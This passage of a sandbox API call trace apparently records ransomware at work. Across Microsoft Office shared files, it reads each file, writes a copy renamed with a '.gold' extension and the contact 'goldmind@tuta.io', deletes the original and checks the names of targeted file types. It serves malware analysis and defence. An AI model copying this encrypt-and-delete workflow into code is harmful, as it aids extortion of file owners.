(hFile=0x214) returned 1 [0046.867] CloseHandle (hObject=0x214) returned 1 [0046.867] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0046.868] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe")) returned 1 [0046.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0046.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0046.868] lstrlenW (lpString=".doc") returned 4 [0046.868] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0046.868] lstrlenW (lpString=".docx") returned 5 [0046.868] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0046.868] lstrlenW (lpString=".pdf") returned 4 [0046.868] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0046.868] lstrlenW (lpString=".xls") returned 4 [0046.868] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0046.868] lstrlenW (lpString=".xlsx") returned 5 [0046.868] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0046.868] lstrlenW (lpString=".ppt") returned 4 [0046.868] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0046.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0046.868] lstrlenW (lpString=".zip") returned 4 [0046.868] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0046.868] lstrlenW (lpString=".rar") returned 4 [0046.868] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0046.868] lstrlenW (lpString=".bz2") returned 4 [0046.868] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0046.868] lstrlenW (lpString=".7z") returned 3 [0046.868] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0046.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0046.868] lstrlenW (lpString=".dbf") returned 4 [0046.868] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0046.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0046.869] lstrlenW (lpString=".1cd") returned 4 [0046.869] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0046.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0046.869] lstrlenW (lpString=".jpg") returned 4 [0046.869] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0046.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0046.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0047.598] lstrlenW (lpString=".doc") returned 4 [0047.598] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0047.598] lstrlenW (lpString=".docx") returned 5 [0047.598] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0047.598] lstrlenW (lpString=".pdf") returned 4 [0047.598] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0047.598] lstrlenW (lpString=".xls") returned 4 [0047.598] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0047.598] lstrlenW (lpString=".xlsx") returned 5 [0047.598] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0047.598] lstrlenW (lpString=".ppt") returned 4 [0047.598] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0047.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0047.598] lstrlenW (lpString=".zip") returned 4 [0047.598] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0047.598] lstrlenW (lpString=".rar") returned 4 [0047.598] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0047.598] lstrlenW (lpString=".bz2") returned 4 [0047.598] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0047.598] lstrlenW (lpString=".7z") returned 3 [0047.598] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0047.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0047.598] lstrlenW (lpString=".dbf") returned 4 [0047.598] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0047.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0047.598] lstrlenW (lpString=".1cd") returned 4 [0047.598] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0047.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0047.598] lstrlenW (lpString=".jpg") returned 4 [0047.598] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0047.598] lstrcmpiW (lpString1=".FLT", lpString2=".gold") returned -1 [0047.598] lstrlenW (lpString="JPEGIM32.FLT") returned 12 [0047.598] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0047.674] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=241024) returned 1 [0047.692] CloseHandle (hObject=0x18c) returned 1 [0047.692] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt")) returned 0x20 [0047.692] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0047.692] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0047.692] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.692] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.692] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0047.693] GetLastError () returned 0x0 [0047.693] ReadFile (in: hFile=0x18c, lpBuffer=0x3b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesRead=0x302fed4*=0x3ad80, lpOverlapped=0x0) returned 1 [0047.697] WriteFile (in: hFile=0x204, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0x3ad90, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fc9c*=0x3ad90, lpOverlapped=0x0) returned 1 [0047.700] ReadFile (in: hFile=0x18c, lpBuffer=0x3b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesRead=0x302fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.700] WriteFile (in: hFile=0x204, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fc9c*=0xec, lpOverlapped=0x0) returned 1 [0047.700] SetEndOfFile (hFile=0x204) returned 1 [0047.701] CloseHandle (hObject=0x204) returned 1 [0047.701] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.701] SetEndOfFile (hFile=0x18c) returned 1 [0047.702] CloseHandle (hObject=0x18c) returned 1 [0047.702] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0047.703] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt")) returned 1 [0047.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0047.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0047.703] lstrlenW (lpString=".doc") returned 4 [0047.703] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0047.703] lstrlenW (lpString=".docx") returned 5 [0047.703] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0047.703] lstrlenW (lpString=".pdf") returned 4 [0047.703] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0047.703] lstrlenW (lpString=".xls") returned 4 [0047.703] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0047.703] lstrlenW (lpString=".xlsx") returned 5 [0047.703] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0047.703] lstrlenW (lpString=".ppt") returned 4 [0047.703] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0047.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0047.703] lstrlenW (lpString=".zip") returned 4 [0047.703] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0047.703] lstrlenW (lpString=".rar") returned 4 [0047.703] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0047.703] lstrlenW (lpString=".bz2") returned 4 [0047.703] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0047.703] lstrlenW (lpString=".7z") returned 3 [0047.703] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0047.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0047.703] lstrlenW (lpString=".dbf") returned 4 [0047.703] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0047.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0047.703] lstrlenW (lpString=".1cd") returned 4 [0047.703] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0047.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0047.703] lstrlenW (lpString=".jpg") returned 4 [0047.703] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0047.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0047.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0047.703] lstrlenW (lpString=".doc") returned 4 [0047.703] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0047.704] lstrlenW (lpString=".docx") returned 5 [0047.704] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0047.704] lstrlenW (lpString=".pdf") returned 4 [0047.704] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0047.704] lstrlenW (lpString=".xls") returned 4 [0047.704] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0047.704] lstrlenW (lpString=".xlsx") returned 5 [0047.704] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0047.704] lstrlenW (lpString=".ppt") returned 4 [0047.704] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0047.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0047.704] lstrlenW (lpString=".zip") returned 4 [0047.704] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0047.704] lstrlenW (lpString=".rar") returned 4 [0047.704] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0047.704] lstrlenW (lpString=".bz2") returned 4 [0047.704] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0047.704] lstrlenW (lpString=".7z") returned 3 [0047.704] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0047.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0047.704] lstrlenW (lpString=".dbf") returned 4 [0047.704] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0047.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0047.704] lstrlenW (lpString=".1cd") returned 4 [0047.704] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0047.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0047.704] lstrlenW (lpString=".jpg") returned 4 [0047.704] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0047.704] lstrcmpiW (lpString1=".FLT", lpString2=".gold") returned -1 [0047.704] lstrlenW (lpString="PICTIM32.FLT") returned 12 [0047.704] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0047.704] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=73080) returned 1 [0047.704] CloseHandle (hObject=0x18c) returned 1 [0047.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt")) returned 0x20 [0047.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0047.705] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0047.705] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.705] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.705] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0047.705] GetLastError () returned 0x0 [0047.705] ReadFile (in: hFile=0x18c, lpBuffer=0x3b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesRead=0x302fed4*=0x11d78, lpOverlapped=0x0) returned 1 [0047.707] WriteFile (in: hFile=0x204, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0x11d80, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fc9c*=0x11d80, lpOverlapped=0x0) returned 1 [0047.709] ReadFile (in: hFile=0x18c, lpBuffer=0x3b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesRead=0x302fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.709] WriteFile (in: hFile=0x204, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fc9c*=0xec, lpOverlapped=0x0) returned 1 [0047.709] SetEndOfFile (hFile=0x204) returned 1 [0047.709] CloseHandle (hObject=0x204) returned 1 [0047.709] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.709] SetEndOfFile (hFile=0x18c) returned 1 [0047.710] CloseHandle (hObject=0x18c) returned 1 [0047.710] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0047.710] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt")) returned 1 [0047.711] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0047.711] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0047.711] lstrlenW (lpString=".doc") returned 4 [0047.711] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0047.711] lstrlenW (lpString=".docx") returned 5 [0047.711] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0047.711] lstrlenW (lpString=".pdf") returned 4 [0047.711] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0047.711] lstrlenW (lpString=".xls") returned 4 [0047.711] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0047.711] lstrlenW (lpString=".xlsx") returned 5 [0047.711] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0047.711] lstrlenW (lpString=".ppt") returned 4 [0047.711] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0047.711] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0047.711] lstrlenW (lpString=".zip") returned 4 [0047.711] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0047.711] lstrlenW (lpString=".rar") returned 4 [0047.711] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0047.711] lstrlenW (lpString=".bz2") returned 4 [0047.711] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0047.711] lstrlenW (lpString=".7z") returned 3 [0047.711] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0047.711] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0047.711] lstrlenW (lpString=".dbf") returned 4 [0047.711] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0047.711] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0047.711] lstrlenW (lpString=".1cd") returned 4 [0047.711] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0047.711] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0047.711] lstrlenW (lpString=".jpg") returned 4 [0047.711] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0047.711] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0047.711] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0047.711] lstrlenW (lpString=".doc") returned 4 [0047.711] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0047.711] lstrlenW (lpString=".docx") returned 5 [0047.711] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0047.711] lstrlenW (lpString=".pdf") returned 4 [0047.712] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0047.712] lstrlenW (lpString=".xls") returned 4 [0047.712] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0047.712] lstrlenW (lpString=".xlsx") returned 5 [0047.712] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0047.712] lstrlenW (lpString=".ppt") returned 4 [0047.712] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0047.712] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0047.712] lstrlenW (lpString=".zip") returned 4 [0047.712] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0047.712] lstrlenW (lpString=".rar") returned 4 [0047.712] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0047.712] lstrlenW (lpString=".bz2") returned 4 [0047.712] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0047.712] lstrlenW (lpString=".7z") returned 3 [0047.712] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0047.712] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0047.712] lstrlenW (lpString=".dbf") returned 4 [0047.712] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0047.712] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0047.712] lstrlenW (lpString=".1cd") returned 4 [0047.712] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0047.712] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0047.712] lstrlenW (lpString=".jpg") returned 4 [0047.712] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0047.712] lstrcmpiW (lpString1=".FLT", lpString2=".gold") returned -1 [0047.712] lstrlenW (lpString="PNG32.FLT") returned 9 [0047.712] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0047.712] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=302976) returned 1 [0047.712] CloseHandle (hObject=0x18c) returned 1 [0047.712] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt")) returned 0x20 [0047.713] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0047.713] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0047.713] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.713] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.713] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0047.714] GetLastError () returned 0x0 [0047.714] ReadFile (in: hFile=0x18c, lpBuffer=0x3b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesRead=0x302fed4*=0x49f80, lpOverlapped=0x0) returned 1 [0047.721] WriteFile (in: hFile=0x204, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0x49f90, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fc9c*=0x49f90, lpOverlapped=0x0) returned 1 [0047.726] ReadFile (in: hFile=0x18c, lpBuffer=0x3b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesRead=0x302fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.727] WriteFile (in: hFile=0x204, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0047.834] SetEndOfFile (hFile=0x204) returned 1 [0048.070] CloseHandle (hObject=0x204) returned 1 [0048.071] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.071] SetEndOfFile (hFile=0x18c) returned 1 [0048.073] CloseHandle (hObject=0x18c) returned 1 [0048.073] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0048.073] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt")) returned 1 [0048.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0048.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0048.073] lstrlenW (lpString=".doc") returned 4 [0048.073] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0048.073] lstrlenW 